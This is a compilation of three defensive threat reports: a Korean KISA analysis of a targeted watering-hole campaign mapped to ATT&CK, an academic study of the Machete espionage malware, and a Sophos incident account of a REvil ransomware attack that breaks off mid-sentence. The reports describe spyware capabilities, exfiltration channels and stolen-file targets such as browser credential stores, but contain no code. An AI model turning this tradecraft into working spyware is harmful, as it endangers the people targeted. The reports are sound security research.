# TTPs#6 타겟형 워터링홀 공격전략 분석 ## 1. Introduction 해킹 사고가 지속 발생함에 따라 보안 요구 사항은 점점 더 까다로워지고 있으며 방어 시스템의 기능은 매우 높은 수준으로 발전하고 있다. 그렇지만, 과거의 침해사고들이 현재에도 여전히 발생하고 있으며, 방어 체계를 잘 갖춘 기업도 전혀 예외가 아니다. 사이버보안에서 유명한 고통의 피라미드(The Pyramid of Pain)는 방어자가 TTP(Tactic, Technique, Procedure)와 같은 공격자의 전략과 전술, 그리고 그 과정을 이해하고 방어 체계를 운영하는 것이 가장 효과적임을 잘 표현하고 있다. 보안은 공격자를 Tough!한 단계로 끌고 가는 것이다. 여전히, IoC(Indicator of Compromise, 악성IP - 악성 도메인 등 단순 지표) 기반의 방어 체계는 매우 유용하다. 다만, 공격자는 단순 지표와 관련된 공격 인프라를 쉽게 확보하고 버린다. TTP는 다르다. 공격자는 TTP를 쉽게 확보하거나 버릴 수 없다. 타깃이 정해진 공격자는 타깃의 방어 환경을 무력화하기 위해 많은 시간을 들여서 TTP를 학습하고 연습한다. 그리고, 확보된 TTP를 지속 활용할 수 있는 대상들이 새로운 타깃이 된다. 공격자의 TTP는 언제나 방어 환경의 특성과 맞물려 있다. 그래서, 방어자는 방어 환경에 대해 정확히 이해하고 있어야 하며, 공격의 흐름과 과정을 패턴이나 기법이 아닌 전략 전술 관점으로 보아야 한다. 방어자의 환경과 공격자의 TTP는 함께 이야기 되어야 한다. TTP를 이해한 방어자는 '공격자의 TTP가 방어자 환경에 유효한 것인지' 여부와, '유효하다면 TTP를 무력화할 수 있는 방어 전략은 무엇인지' 등 2가지를 설명할 수 있어야 한다. 한국인터넷진흥원(이하 KISA)은 침해사고 대응 과정을 통해 공격자의 TTP를 파악하고 있으며, 그 과정 및 대응방안을 ATT&CK Framework 기반으로 작성하여 배포한다. 보고서에 포함되어 있는 TTP와 관련된 다양한 흔적들(Artifacts)은 TTP에 대한 이해를 돕는 보조 수단일 뿐이다. ## 2. Summary 최근, 국내 주요 기업의 홈페이지에 악성 스크립트를 삽입해 특정 타겟만을 대상으로 악성코드를 다운로드 받아 실행시키는 타겟형 워터링 홀 공격이 확인되고 있다. 공격자는 공격대상이 접속할 만한 홈페이지에 악성 스크립트를 삽입했고, 해당 사이트를 방문 시 취약점을 통해 악성코드를 감염, 원격제어 행위를 수행했다. 해당 침해사고 대응 과정에서 알려지지 않았던 2개의 신규 악성코드를 발견하였다. 침해사고 조사 과정에서 확인된 2종의 신규 악성코드는 종합분석팀에서 개발한 AI 프로파일링 분석시스템인 FENS 시스템을 통해 기존에 그룹화된 악성코드들과 신규 수집된 2종 악성코드의 코드 및 메타데이터 등에서 연관 정보를 확인할 수 있었다. 이번 TTP 보고서에서는 워터링홀을 통한 최초 침투 방법과 신규 확인된 2종의 악성코드를 통한 원격제어부터 유출까지의 과정에서 확인된 공격 전략과 FENS 시스템을 통해 기존 그룹화된 악성코드들과의 유사성 정보에 관해 확인해 보며, 나아가 Kaspersky와 Malwarebytes의 보고서에서 확인된 악성코드들에서 확인된 특징을 비교해 본다. 신규 확인된 악성코드 중 하나는 C2와 명령 송수신 시 “Tiger”라는 식별자를 사용했다. 우리는 이 악성코드의 명령에서 사용된 문자열 ‘Tiger’ 인용해 호랑이의 공격이란 의미로 이번 보고서에 담을 침해사고의 TTP에 대한 부제를 “Operation Byte(Bite)Tiger” 명명한다. ## 공격 개요도 각 번호를 클릭하면 해당 상세 내용으로 연결됩니다. ## 3. ATT&CK Matrix ### Reconnaissance - T1590.005 Gather Victim Network Information ### Resource Development - T1583.003 Acquire Infrastructure - T1584.004 Compromise Infrastructure - T1587.001 Develop Capabilities - T1608.004 Stage Capabilities ### Initial Access - T1189 Drive-by Compromise ### Execution - T1203 Exploitation for Client Execution - T1059 Command and Scripting Interpreter ### Persistence - T1547.001 Boot or Logon Autostart Execution - T1053.005 Scheduled Task/Job ### Defense Evasion - T1218.005 Signed Binary Proxy Execution - T1036.005 Masquerading - T1140 Deobfuscate/Decode Files or Information ### Discovery - T1033 System Owner/User Discovery ### Collection - T1560.002 Archive Collected Data - T1119 Automated Collection - T1005 Data from Local System - T1056.001 Input Capture - T1113 Screen Capture ### Command and Control - T1071.001 Application Layer Protocol - T1132.001 Data Encoding - T1573.001 Encrypted channel ### Exfiltration - T1041 Exfiltration Over C2 Channel ## 4. Attribution 최근 국내에서 발생하고 있는 공격(유사 공격) 그룹에 의해 발생한 침해사고 사례의 TTP를 살펴보면 공격의 최종 목표와 목적이 동일하더라도 최초 침투를 위한 공격 기법은 각 기업의 환경에 따라 변화하고 있다. 이는 공격그룹이 가지고 있는 기술(Techniques)을 활용하기 위해 기업의 환경에 맞게 전략과 절차(Tactics, Procedures)를 변화해 공격대상에 맞게 다양한 방법으로 공격을 시도하고 있음을 나타낸다. 보고서에서 공개한 두 악성코드(다운로더, 원격제어)는 새로 제작된 것으로 보이나, 기존에 공개된 Kaspersky와 Malwarebytes 두 보고서에서 확인된 TTP(악성코드 생성 경로, 사용된 취약점, 명령 송수신 시의 특징)에서 유사한 공격 전략과 기술 등이 사용된 점을 확인할 수 있었다. 이번 장에서는 신규 확인된 2종의 악성코드의 특징과 기존에 공개된 TTP와의 유사성을 비교 분석해 연관 관계를 확인한다. ## 5. Conclusion ‘한국인터넷진흥원’은 본 보고서를 통해 타겟형 워터링홀 공격으로 악성코드 감염, 정보유출을 수행하는 공격그룹의 TTP를 살펴봤다. 공격자는 공격 전에 서비스를 통한 서버자원을 확보하고 서드파티 프로그램에 대한 취약점 연구를 선행하였다. 이후 공격대상이 빈번하게 접속하는 사이트에 악성 스크립트 및 익스플로잇을 삽입해 타겟형 워터링홀 공격을 수행한다. 사이트 접속 시 선별된 공격 대상에게만 악성코드를 설치하였으며 특정 소프트웨어의 취약점을 이용해 실행시켰다. 실행된 악성코드는 감염된 시스템에 추가 악성코드 다운로드 후 내부자료 중요 자료를 선별·탈취했다. 이 과정에서 확인된 주요 특징 중 하나는 기존에 알려진 악성코드가 아닌 신규 악성코드를 제작해 공격을 수행했다는 것이며, 해당 악성코드의 특징 및 유사도를 분석한 결과 기존에 다른 특정 그룹의 악성코드와의 유사성을 확인할 수 있었다. 이는 해당 공격그룹이 신규 악성코드를 제작해 사용하였지만, 악성코드의 TTP는 크게 바뀌지 않았다는 것이다. 기존에 한국인터넷진흥원 TTP 보고서에서 확인된 것처럼 새로운 전략과 기술을 구축하고 공격에 사용하기에는 오랜 시간이 걸리기 때문에 공격자의 TTP는 쉽게 변하지 않는다. 또한, 이번에 한국인터넷진흥원에서 확인한 공격 기법은 타겟형 워터링홀 공격을 통한 침투였으나, 외부보고서에서는 스피어피싱을 통한 공격이었다. 이는 공격자가 피해기업 환경에 맞추어 TTP를 변화해 가며 공격을 수행한다는 것을 말해준다. 이처럼 공격자는 공격 대상에 맞는 침투 방법, 소프트웨어 취약점 탐색, 그리고 신규 악성코드를 개발해 가며 여러 기업을 공격하고 있다. 공격자의 모든 위협을 막기란 쉽지 않다. 다만 공격의 전체 시나리오에서 최종 목적에 도달하기 전까지의 구간 중 하나의 구간이라도 방어를 한다면 공격자의 공격을 늦추고, 공격의 탐지의 가능성을 높일 수 있다. 그렇기 때문에 우리 보안연구자들은 공격자의 TTP를 각 공격 구간별마다 사용된 기술을 정확히 식별하고 공격자의 행동에 맞추어 공격자의 자원을 효율적으로 무력화할 수 있는 방안에 대해 연구해야 한다.
# A Study of Machete Cyber Espionage Operations in Latin America **Veronica Valeros, Maria Rigaki, Kamila Babayeva & Sebastian García** Czech Technical University in Prague, Czech Republic {veronica.valeros, maria.rigaki}@aic.fel.cvut.cz; [email protected]; [email protected] ## Abstract Reports on cyber espionage operations have been on the rise in the last decade. However, operations in Latin America are heavily under-researched and potentially underestimated. In this paper, we analyze and dissect a cyber espionage tool known as Machete. The results presented in this work are based on the collection, reversing, and analysis of Machete samples from 2011 to 2019. The large collection of samples allowed us to analyze the malware’s evolution in detail and track changes in its functionality and structure, including modifications introduced as late as January 2019. Our research shows that Machete is operated by a highly coordinated and organized group that focuses on Latin American targets. We describe the five phases of the APT operations from delivery to exfiltration of information and we show why Machete is considered a cyber espionage tool. Furthermore, our analysis indicates that the targeted victims belong to military, political, or diplomatic sectors. The review of the almost eight years of Machete operations shows that it is probably operated by a single group whose activities may be state-sponsored. Machete is still active and operational to this day. ## Introduction Cyber espionage is understood as the act of obtaining restricted information without permission using software tools, such as malware. While traditional espionage activities are difficult to detect and study as they are typically covert operations, cyber espionage operations have more often been disclosed and studied. There is, however, a lack of research in this area in Latin America. Very few cyber espionage campaigns have been discovered and studied in this region in the last decade. Nowadays, cyber espionage is conducted by groups often referred to as Advanced Persistent Threats (APTs). APT is the technical term used to identify economic or politically motivated groups that conduct cyber attacks persistently and effectively against a specific target. What distinguishes APTs from traditional attacks are their clear goals, specific targets, and long-term, highly organized campaigns. In this paper, we present an in-depth analysis of the espionage activities of an APT group in Latin America through the analysis of one of its cyber espionage tools known as Machete or Ragua. Reports about Machete have been published previously; however, their results are based on a subset of Machete samples, leaving unanswered questions about its long-term operations, the functionality of the malware in detail, and the attackers’ capabilities and operations as a whole. We aim to provide an extensive overview of the malware and actors by analyzing their operations from their beginning until today. Our research is based on a large corpus of Machete malware binaries that span eight years of operation. The malware corpus was processed, reverse engineered, and dissected in order to obtain the malware configurations, command-and-control servers, and decoy documents used in the campaigns. This information was used to identify the profile of the targets, the regions affected by the malware, and details of the malware infrastructure. We show that the group behind Machete fits the description of an APT as it is running a long-term operation, it attacks specific targets, and aims at strategic benefits. Based on the information extracted from the malware binaries, we have been able to understand that Machete is targeting political and military-related victims. The victims appear to be located in Central and South America and are primarily Spanish speakers. Furthermore, our research indicates – due to the sharing of encryption keys and overlapping network infrastructure – that there is likely one group operating the malware. ### Main Contributions - An in-depth analysis of Machete that complements and goes beyond previous reports. The analysis is based on the largest collection of Machete binaries to date, which is three times as large as reported in previous work. The time span of the analyzed samples is also broader and has allowed the study of the attackers’ methods over time. - The most comprehensive collection to date of Machete hashes and decoy documents spanning eight years of operations. - Discovery of new functionality based on reverse engineering analysis of Machete samples. Until now, it was not known that Machete was able to perform lateral movement within an infected organization. Our analysis showed that Machete can propagate via infection of USB drives. The use of Dropbox as an exfiltration method is also first reported in this paper. - A qualitative analysis of the decoy documents based on language, topics, and countries that sheds light on potential victims and helps highlight the interests of the attackers when choosing their targets. - A case study of the operations of an APT group that is active in a largely understudied part of the world, namely Latin America. ## Previous Work This paper focuses on the cyber espionage activities of an APT group conducted in Latin America. The study of this group is conducted by the analysis of one of its tools, known as Machete or Ragua. Machete was first reported in 2014, and subsequently in 2017. These reports give a general overview of the malware’s functionality, but they both focus on a small corpus of malware samples. Both reports provide numbers of victims and countries, but no information is provided to verify these claims. There is no supporting information as to where, when, and how data about the victims was collected. Additionally, while many of the sample hashes provided in these reports are publicly available, not all of the samples can be accessed to verify the analysis. Machete was not the first cyber espionage campaign in Latin America. In 2012, a report described a targeted attack dubbed ‘Operation Medre’. This targeted attack attempted to steal AutoCAD files from victim computers. The victims were primarily located in Peru, but other countries in the region were also targeted. The type of espionage conducted by this APT group is considerably different from that conducted by the group behind Machete. In 2015, a report uncovered an APT group dubbed ‘Packrat’ targeting Latin American politicians, journalists, and others. This group is believed to have been operating since 2008. There are similarities with Machete in the way this actor operates, the type of infrastructure used, and the use and themes of decoy documents. However, there are significant differences in the tools used for espionage – in this case, known existing malware. There’s no evidence that the two actors are the same. In 2018, a new report disclosed the use of remote access tools for espionage in Latin America. While this attack presents some similarities with the Packrat group, the targeted audience and the tactics used were substantially different. In early 2019, researchers uncovered a new APT group, dubbed APT-C-36, targeting companies and government agencies in Colombia. The tactics and techniques used differ significantly from those used by Machete. Several studies focus on the delivery mechanism used by APT groups. Researchers present a study of decoy documents. The study shows how documents are socially engineered to match native language, regional, and thematic interests of the targets. This seems to be a common factor in all the APTs targeting Latin America. Other studies of targeted attacks against NGOs and individuals also show the preference among attackers for using socially engineered suspicious links and documents. ## Methodology For this research, we used malware binaries, or samples, that contain Machete. In the first stage of the research, we aimed to obtain valid Machete samples to analyze. These samples were reverse engineered and studied to determine the malware characteristics, how they targeted their victims, and how the malware evolved over time. This research is based on a corpus of 105 Machete binaries and 63 decoy documents. The following steps were carried out in order to obtain and create this large corpus of validated samples: first, we searched for and collected all possible Machete samples from public and private repositories; second, we manually verified that these samples were Machete samples; third, we identified the structure and nesting of files to differentiate between first-stage and second-stage binaries, their parents, and the individual modules; fourth, we reverse engineered each file to obtain the source code of the malware written in Python, its configuration files, encryption keys, and the decoy documents used, when available. In order to obtain samples of Machete, we first relied on hashes from previous work. A total of eight hashes were available from the first report, and 27 initial decoys from the second report. However, not all of these were publicly available. An initial analysis of the files led to the identification of specific characteristics in the binaries, such as the number of Portable Executable (PE) sections, PE comments, file structure, and the final modules’ source code. These characteristics, combined with specific anti-virus signatures, IP addresses, and domain names, were used to expand the search and identify more potential Machete samples in public and private repositories. Every binary matching our indicators was downloaded for further manual classification by a human analyst. At the end of this stage, the corpus of samples at our disposal had tripled the number of files reported in previous work. The samples positively classified as Machete were further processed. This workflow is illustrated in the following steps: 1. The first step in this process consisted of identifying the parent. The malware is typically distributed as an email attachment; therefore, the attachment is considered a parent. 2. Next, the parent was uncompressed to identify the first stage of Machete. 3. In the third step, the first-stage malware was uncompressed to extract the second-stage malware and the second-stage decoy document. 4. The second-stage malware was further uncompressed to identify the malware libraries, modules, and configuration files. 5. Next, the modules were reverse engineered from PE files to Python compiled code. 6. Finally, the Python compiled modules were decompiled to obtain the source code of the malware, in Python. The reverse engineering of the modules consisted of obtaining the Python compiled code from the PE module using a tool called unpy2exe. Once the Python compiled code (.pyc) was obtained, we used a tool called uncompyle6 to obtain the Python source code. This process is known as decompilation. In most cases, the Python source code was obfuscated using a tool such as pyobfuscate, which makes the source code difficult to read by renaming variables to nonsensical names and adding dummy clauses to increase ‘noise’. Reversing the obfuscation is a process known as deobfuscation. In this case, deobfuscation was still possible, given that external library calls were not obfuscated and the code was still able to run. No other anti-analysis or anti-debugging techniques were used among the examined samples. At the end of this process, an exhaustive corpus of 105 stage 2 Machete samples, along with 63 decoy documents and the source code of all modules for every sample, was available to continue the analysis and research. ## Malware Operations Machete is a piece of malicious software designed for Windows operating systems (32-bit). It is distributed as a Portable Executable file compressed as a ZIP or RAR file. Machete is written in Python. APT operations are highly coordinated and organized. They typically follow a common structure, often known as a kill chain. Machete APT operations are no exception. The five phases of the operation are illustrated as follows: delivery, installation, action on objectives, lateral movement, and exfiltration. This section describes these phases, the encryption used to protect the stolen information, and finally, why we consider Machete to be a cyber espionage tool. ### Delivery There are four known methods for distributing Machete: (i) as a malicious attachment in a phishing email, (ii) as a linked file (URL) in a phishing email, (iii) as an executable file in an infected USB drive, and (iv) via web injections. The first two methods are the most likely to be used for the initial compromise according to previous work. The third method of delivery, discovered during this investigation, is commonly used by attackers in order to jump air-gapped secured systems and to move laterally within an already compromised organization. No exploits or zero-day vulnerabilities are needed for the delivery of this malware. ### Installation Targeted victims are lured into downloading and opening the Machete malware via well-crafted social engineering techniques. As previously mentioned, no vulnerabilities are exploited in the operating system in order to execute the malware. Once the victim clicks to open the decoy file, the malware is executed and the decoy document is displayed to the victim. ### Action on Objectives Machete is an espionage tool designed to steal information such as keystrokes, clipboard content, screenshots, web camera captures, audio from the computer’s microphone, system information, and geolocation of the target. These functionalities are described in full in the next section. ### Lateral Movement Compromised victims can be used to spread the malware further within the same organization. Through reverse engineering of the samples, we discovered that Machete has specific instructions on how to spread automatically via USB drives. In the presence of an external drive, Machete will copy itself to the drive, then proceed to copy any important documents to the computer in order to steal them. This spreading gives attackers the ability to strengthen their foothold in an organization, maximizing their effectiveness. ### Exfiltration We use the term ‘exfiltration’ to refer to the act of ‘unauthorized copying and transmission of information by any means’. Machete has three main methods of exfiltrating the stolen information from its victims. First, it uploads the collected data to a designated File Transfer Protocol (FTP) server. While the documents are encrypted, the FTP communication is not encrypted. The FTP server is secured with a username and password; however, the credentials can be found either in the source code of the malware or, in newer versions of the malware, in a configuration file. The second method for exfiltrating the information from the victim is via USB devices. Machete is able to recognize special USB devices, and if they are present, the malware will copy the collected information to the USB drive. This latter feature suggests that the attackers may have physical access to some of the victim computers. The third method for data exfiltration was observed only in a few cases. In those cases, Machete was using Dropbox as an exfiltration server. ### Encryption Machete encrypts the files using symmetric encryption. In particular, it uses the Advanced Encryption Standard (AES) algorithm, and the encryption key is embedded in the source code of the malware. ## Malware Capabilities The purpose of Machete is to steal information about its victims, specifically documents or data they may possess and information about their current behavior. During the analysis of Machete samples over a period of eight years, we observed the APT group adding and removing functionality. Considering the complete malware corpus, we found functions designed to steal the following information: - **System information**: who the target is and information about the computer being used. - **Geolocation**: where the target is located. - **Keystrokes**: what the target writes. - **Clipboard content**: what the target copies and pastes. - **Screen captures**: what the target is seeing on the screen. - **Web camera captures**: who or what is in front of the computer’s web camera field of view. - **Audio**: what the victim is saying, or conversations from the surrounding environment. - **Documents**: specific documents in the target’s computer. In the following subsections, each function is described in detail. ### System Information The type and amount of information collected from the targets varies as well as the method. In early versions of Machete, the extraction was field by field using the platform library, which is part of the Python standard library. The information collected consisted of public IP, operating system name, operating system release, the computer network name (node), system version, architecture, and processor. The public IP is retrieved after contacting the C&C server. Information about local network cards, local IPs, and MAC addresses is obtained using the Windows command ipconfig. The collected information is stored in a text file for later exfiltration. This Python library was later replaced with the Windows systeminfo function. In later versions of Machete, the information collected in this step was reduced considerably. ### Geolocation There are fewer than a dozen samples of Machete that incorporate the functionality to geographically locate the target using Wi-Fi MAC addresses. The oldest sample to implement this functionality is from 2012, and the latest one is from 2019. The malware has two modes of retrieving geolocation: the first uses only the MAC address, while the second uses MAC address, channel, and signal strength. In both cases, the malware first collects the information from the infected device using the Windows netsh command. There are several attempts at determining the geolocation based on the information available using a Google API. The information the malware is retrieving is the accuracy, latitude, longitude, and a link to Google Maps. ### Keystrokes For the stealing of keystrokes, the malware has a keylogger functionality in one of its modules. The malware defines a series of keys in which it is interested and defines what to do when one of these keys is pressed in the operating system. Machete creates a log file formatted as Hyper Text Markup Language (.htm). The log contains the date and time of the keystrokes, the name of the opened application, and the keystrokes typed by the user. In this manner, the attackers not only know what the victim was typing, but also when and where. This provides context and added value to the stolen information. This module has suffered minor changes since its first development. One change highlight occurred in mid-2012 when the names of the key IDs were rewritten. In this change, a typo was introduced that has been present in all the Machete samples that have come since then. The keys 160 and 161 were renamed from lshift and rshift to Shitf(Izq) and Shitf(Dcha). ### Clipboard Content Similarly, the malware has a clipboard monitor, which logs everything that the victim copies in a special log file named ‘Clip.html’. The malware logs the clipboard content, date and time, and the name of the open window. ### Screen Captures Another vital functionality of Machete is screen capture. Machete is able to take screenshots from the victim computer. These images are indexed by date and time and provide high value to the attackers in their intelligence analysis due to their rich and detailed content. ### Web Camera Captures Another of the functions is web camera capture, in which the malware routinely takes pictures using the web camera of the computer (if such a device exists). The web camera capture can tell the attackers who is using the computer, what the victim looks like, or reveal the identity of other individuals. Not only that, it also shows when the computer is unattended, which can be vital if the attackers have physical access to the infected machine. ### Audio Machete is also able to record sound using the microphone of the computer. This functionality has been added and removed multiple times. The Python library pyaudio is used to record the audio in .WAV files. The malware then uses the LAME MP3 audio encoder to convert the files to MP3. ### Documents The last core functionality is document stealing. The malware is able to find, encrypt, and steal interesting documents found on the victim computer. Attackers define files as interesting based on the type of document. In the oldest sample of Machete from 2011, the malware was looking for a small collection of file extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .jpg, .pgp, .skr, and .asc. The interest in retrieving new documents increased, and the list expanded to include the additional file extensions: .db, .mdb, .pkr, .gpg, .drw, .lpt, .shp, .rte, .sda, .odp, .sxi, .odt, .sxw, .ods, .sxc, .odg, .sxd, .odb, .odf, .sxm, .txt, and specific files such as key3.db and signons.sqlite used by Firefox to store user credentials. The files are encrypted before they are exfiltrated. Apart from well-known document formats, it is worth noting the attackers’ interest in databases (.db, .mdb, .odb), encryption files (.gpg, .pgp, .asc, .skr, .pkr), maps and design files (.drw, .lpt, .shp, .sda, .sxd), and business applications’ source code (.os). ## Malware Infrastructure The analysis of Machete and its functionality also provided some insights into the attackers’ own operational capabilities. With the information obtained from the samples, we tried to answer the following questions: - What are the attackers’ capabilities in terms of infrastructure? - Are there multiple attackers that use Machete? - How did the malware evolve over time? ### Infrastructure Machete exfiltrates information primarily via FTP servers. This information is embedded in the Machete samples, namely: domain name, username and password, routes, version, and encryption key. - **FTP servers**: Machete used multiple FTP server domains for its campaigns. For the most part, the domain names do not overlap with the malware versions. A total of 14 FTP server domains were identified. Machete used dynamic DNS services such as ddns.net or serveblog.net in many cases. Dynamic DNS gives flexibility to their operations. - **FTP credentials**: From 2013, the group used one set of usernames per FTP server. However, in older samples, the attackers were using the same username across multiple FTP servers. The same password was reused in multiple accounts. Attackers evolved to use multiple versions as a way to separate functionality and/or targets. - **FTP routes**: The most used FTP servers contain several routes. These are folders in the FTP server where the stolen information is stored. Every Machete sample has a route defined. Routes are often named after Colombian cities or areas, e.g., Buenaventura, Guajira, Huila, etc. This might be an indication of where the attack operators are stationed. - **IP addresses**: A total of 13 unique IP addresses have been found associated with Machete FTP servers since its origin. These IPs were obtained via a public passive DNS service. Passive DNS is a system that stores DNS resolution data along with the time period. Further analysis showed that different domain names shared IP addresses, even during overlapping periods of time. The earliest date that an FTP domain was seen is early 2012. Before this time, attackers relied on IP addresses. ### Malware Evolution The oldest Machete binary in our corpus dates back to 2011. This is confirmed by the sample’s submission date to VirusTotal, which was also in the same year. The most recent sample of Machete was observed in early 2019. Through our reverse engineering and code analysis, we have been able to identify three major changes in the last eight years of Machete activity. The first major change was to split Machete functionality into different smaller modules – this happened in early 2011, bringing more flexibility to the malware. The second major change was in 2014 when the obfuscation of the Python source code was added in an effort to bypass detection. The third major change was in early 2019 when the unpacking of the malware code changed considerably, also to hinder detection efforts. Machete’s authors used multiple versions of the malware mainly to differentiate between campaigns and targets. Modules and functionality were added or removed over time. However, the underlying code structure did not change dramatically until late 2018. The initial versions of the malware showed how its authors were putting together the malware, building up new functionality, testing libraries, and fine-tuning parameters. Modularity was added later. In early samples, the malware had hard-coded IPs and credentials for the FTP server to exfiltrate data. The IPs were later changed to dynamic DNS domain names, but were still in plain text in the code. The malware later evolved to obfuscate the credentials, and later stored them in a text file, obfuscated. All the changes observed gave Machete modularity and flexibility, allowing new campaigns to be created with the minimum modification of the code. In terms of anti-analysis techniques, the vast majority of the samples were obfuscated at the Python source code level, probably as an attempt to slow down malware analysts. Earlier versions of Machete were not obfuscated at all. ## Analysis of Targets To understand the purpose of Machete, and the goals of the actors operating it, we analyzed the targeted victims. The analysis of possible victims is performed through the analysis of the decoy documents used. Decoy documents were obtained from Machete parent samples, which contained both decoy and malware. By looking at the decoys used in the campaigns through the years, we try to infer the profiles of the targets. Information about victims obtained from previous work was not taken into account as it was impossible to validate it. ### Manual Annotation of Decoy Documents A total of 75 unique decoy documents were identified, each of which was used in one or more malicious campaigns. The decoy documents were embedded and compressed in the Machete malware – however, they were only used as decoys and not as an exploitation tool. In this section, we present an analysis of 40 documents observed between 2013 and 2018. We manually analyzed each decoy document used by Machete, noting the language, country, dates, and theme covered. The first phase consisted of noting the type of document used (PDF, Word, images, etc.). The second phase consisted of identifying the language used in the documents, to establish a target group. The third phase focused on assigning each document to a theme category based on the content (political, economic, military, etc.). The fourth phase consisted of identifying the country or countries targeted by the document. ### Type of Decoy Documents The type of documents used were predominantly Microsoft Word documents, followed by PDF, PowerPoint documents, and JPG images. Two versions of Microsoft documents were used: .docx and .doc. The .docx format was introduced in Word 2007. PDF documents were the second most commonly used type of document. In third place, different Microsoft PowerPoint documents were used: .pps, .ppt, and .pptx. Lastly, one image in JPG format was used. The majority of the documents appear to be documents that have been stolen and repurposed for the spear-phishing attacks. They could have been manually crafted for the purpose of the attacks, but there are indicators which point to our first hypothesis. In particular, many of the Microsoft Word documents still contained metadata about the date of creation, author, organization, and last time printed, which appeared to be real. Typically, a manually crafted document will have this data removed or replaced with fake data. This doesn’t seem to be the case in the corpus of documents we analyzed. A subgroup of documents contained information, names, stamps, and references that would also be hard to fake. ### Languages, Countries, Regions Spanish speakers are the primary targets of Machete, but not the only ones. Of all the decoy documents analyzed, one document was written in Portuguese and the rest were written in Spanish. All Spanish- and Portuguese-speaking countries could be targeted by these decoys, irrespective of the country or region. Spanish is the official language in 21 countries, the majority of which are located in Central and South America. After careful analysis of the content of the documents, it was possible to observe that each one made specific reference to certain countries. It was possible then, again through careful analysis, to identify the affected countries in each document. The content of each document was read and examined by native Spanish speakers in order to identify the theme and the country. For instance, in a military personnel reassignment decoy document, all personnel mentioned were from Venezuela. In this case, the annotated country was Venezuela. This process was repeated for all decoy documents that contained enough context. The annotated country is just an indication of where the document was stolen or crafted from, but it doesn’t limit the target audience, as any military official from neighboring countries would also be interested in this information. ### Topics The themes of the decoy documents indicate that the potential victims are heavily interested in political topics at national levels, and in military information, ranging from the movement of troops to personnel reassignments. Other decoys appealed to the sense of fear in the victim, using themes such as debt collection and legal subpoenas. In a minority of cases, the attackers used generic themes such as sexual content to lure victims into opening the documents; in this case, the targets were primarily male. Each document focuses on a specific theme or topic that is highly alluring and attractive for the targets. ### Dates The creation date was extracted from the metadata of each document. Metadata can be altered, so this date is taken as an initial reference of document creation. These dates show that the documents were created in the years 2000, 2006, 2011, 2013, 2014, 2015, 2016, and 2017. ## Conclusions This paper has presented an analysis of eight years of operations of an APT group targeting Latin America using a cyber espionage tool known as Machete. Spear phishing through the use of real and enticing documents seems the most effective way to compromise their targets. The functionality of Machete has fluctuated considerably in the last eight years; however, the main core functionality of the malware remains: keylogging, screen capture, and document stealing. The oldest Machete sample was observed in early 2011, which suggests that the group’s activities started earlier. Machete is still active today. Our analysis of decoy documents showed that the targeted victims are mainly located in Latin America. However, in this work, we could not arrive at the same conclusions as were drawn in previous work regarding the number of victims and their countries. Additionally, the majority of the decoy documents are written in Spanish, but there is a minority of documents in Portuguese, confirming that the victims are located all across Latin America. The documents’ topics are mostly military and political in nature, which points to military and politically motivated targets. Our investigation suggests that APT sophistication is directly related to the socioeconomics of the targeted regions. Machete is sophisticated considering the region in which it operates. Compared to other APTs, it does lack sophistication in terms of the programming language used, the lack of vulnerabilities exploited, and its anti-analysis techniques. However, failing to investigate threats like this based on their apparent lack of sophistication leaves victims in the dark and unprotected. Our research has also shown that Machete does not rely on zero-day exploits. This confirms previous research that also shows that APT groups rely more on spear-phishing techniques. Machete continues to evolve and new malware samples are being observed every month. As part of our future work, we plan to continue monitoring it and reporting on its activities in order to help stop this threat.
# MTR in Real Time: Hand-to-hand combat with REvil ransomware chasing a $2.5 million pay day **Tilly Travers** **June 30, 2021** A few weeks ago, a mid-sized, 24/7 media company that had moved critical activities online during the pandemic found itself locked in live combat with REvil ransomware attackers determined to secure a multi-million-dollar pay-out. The attack failed, but the company has yet to fully recover. In early June 2021, a detection of Cobalt Strike on the network of a mid-size media company triggered a security alert. Cobalt Strike is a remote access agent that is widely used by adversaries as a precursor to ransomware attack. Attackers released ransomware a few hours later at 4 am local time. For the next four hours, the target’s IT team and Sophos’ Rapid Response team were locked in live combat with the human adversaries orchestrating the attack. The attack ultimately failed, but not before the attackers encrypted the data on unprotected devices, deleted online backups, and decimated one online and undefended domain. The ransom note left on encrypted devices demanded a payment of $2.5 million and was signed by REvil, also known as Sodinokibi. ## How it began REvil is a ransomware-as-a-service offering, which means that criminal customers can lease the malware from the developers and then use their own tools and resources to target and perform the attack. The target for this particular REvil customer was a media company with approximately 600 computing devices – 25 of them servers – and three Active Directory domains, which were critical to the company’s ability to maintain its 24/7 operations. ### The rush to remote and online operations Like so many organizations during the early stages of the COVID-19 pandemic, the target had rushed to equip and enable a remote workforce, and not all devices carried the same level of protection. The company also decided to internet-connect a network that was previously air-gapped. Unfortunately, these actions would come back to bite them. Once the intruders were inside the network, they made straight for the unprotected devices and other online systems they could gain access to, installing their attack tools and using them to spread the attack to other devices. ### The unfolding attack When Sophos’ Rapid Response team arrived on the scene, they discovered that the attackers had already managed to compromise a number of accounts and had been able to move unimpeded between unprotected computers. “One of the biggest challenges for incident response is a lack of visibility about what’s happening on unprotected devices,” said Paul Jacobs, incident response lead, Sophos. “We can see and block inbound attacks coming from these devices to a protected endpoint, but we can’t centrally remove the intruder from those devices or see what they’re up to.” The team also looked at the software applications installed on devices to check for any that might be used as part of the attack. “As a result of the pandemic, it’s not unusual to find remote access applications installed on employee devices,” said Jacobs. “When we saw Screen Connect on 130 endpoints, we assumed it was there intentionally to support people working from home. It turned out the company knew nothing about it – the attackers had installed the software to ensure they could maintain access to the network and compromised devices.” This was just one of several mechanisms the attackers implemented to maintain persistence. The attackers also created their own domain admin account as a fallback after stealing another set of domain admin credentials. ### Hand-to-hand combat “As the attack became noisier, the attackers knew they would be detected and blocked. We could tell that they knew we were there, and they were doing everything they could to defeat us,” said Jacobs. “Our security products have a behavioral feature called CryptoGuard that detects and blocks attempts to encrypt files even if the source is a remote, unprotected device. Once we started to see such detections, we knew the ransomware had been unleashed and the battle was on.” The attackers tried repeatedly to breach protected devices and encrypt files, launching attacks from different unprotected devices they had been able to compromise. Every attempt needed to be blocked and investigated to ensure there was nothing else going on and that there was no further damage – even though by then the next attack attempt was already underway. This task was made harder than normal because the organization needed to keep most of its servers online to support the 24/7 broadcasting systems. Eventually, the onslaught began to slow down. By day two, inbound attacks were still detected intermittently but it was clear the main attack attempt was over and had failed. ### The aftermath As the incident responders and the company’s IT security team took stock, they found that damage was mainly limited to the unprotected devices and domains. The previously air-gapped, online domain was completely destroyed and needed to be rebuilt and online backups had been deleted, but the company wasn’t totally crippled by the attack, and it didn’t need to pay the 